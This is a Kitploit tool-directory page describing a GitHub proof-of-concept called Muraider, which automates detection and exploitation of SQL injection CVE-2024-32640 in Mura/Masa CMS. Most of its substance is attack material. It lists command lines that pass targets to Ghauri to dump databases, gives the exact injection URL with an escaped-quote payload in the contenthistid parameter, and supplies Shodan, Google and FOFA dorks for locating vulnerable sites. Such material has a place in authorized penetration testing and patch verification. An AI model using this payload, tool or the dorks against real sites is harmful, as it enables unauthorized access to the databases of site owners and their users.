Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-32640-SQLI-MuraCMS — CVE-2024-32640 | Automated SQLi Exploitation PoC | Kitploit
Tools/GitHubGitHub/stuub/cve-2024-32640-sqli-muracms
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubstuub/cve-2024-32640-sqli-muracms

CVE-2024-32640-SQLI-MuraCMS

CVE-2024-32640 | Automated SQLi Exploitation PoC

View Repository
781212 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Muraider - Automating the detection & Exploitation of CVE-2024-32640 \ SQLi in Mura/Masa CMS

Usage

Detection:

python3 CVE-2024-32640.py --url https://target.com/

Ghauri Exploitation (Pass '-g' or '--ghauri' as argument):

Parse in any arguments that you wish to use with Ghauri, following their argument list:

python3 CVE-2024-32640.py --url https://target.com -g "--dbs --current-db"

python3 CVE-2024-32640.py --url https://target.com --ghauri "--dbs --current-db"

Example

image

Ghauri SQLI Auotmation:

Using the detection that I've implemented into the tool, we can then use the vulnerable target to exploit in Ghauri. The script automates this process, parsing all the target information needed into a call to Ghauri.

image

Details

By appending an escape sequence (%5c) to the contenthisid HTML Query Parameter value, we're able to verify if a target is vulnerbale to this SQLi.

Successful exploitation could lead to unauthorized access to sensitive data.

URL: https://target.com/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c'&previewID=x

Dorks

Shodan-query: 'Generator: Masa CMS'

Google: "powered by Mura CMS"

FOFA: app="Mura-CMS"

References:

https://twitter.com/HunterMapping/status/1790620695371911388

https://www.seebug.org/vuldb/ssvid-99835

Download Tool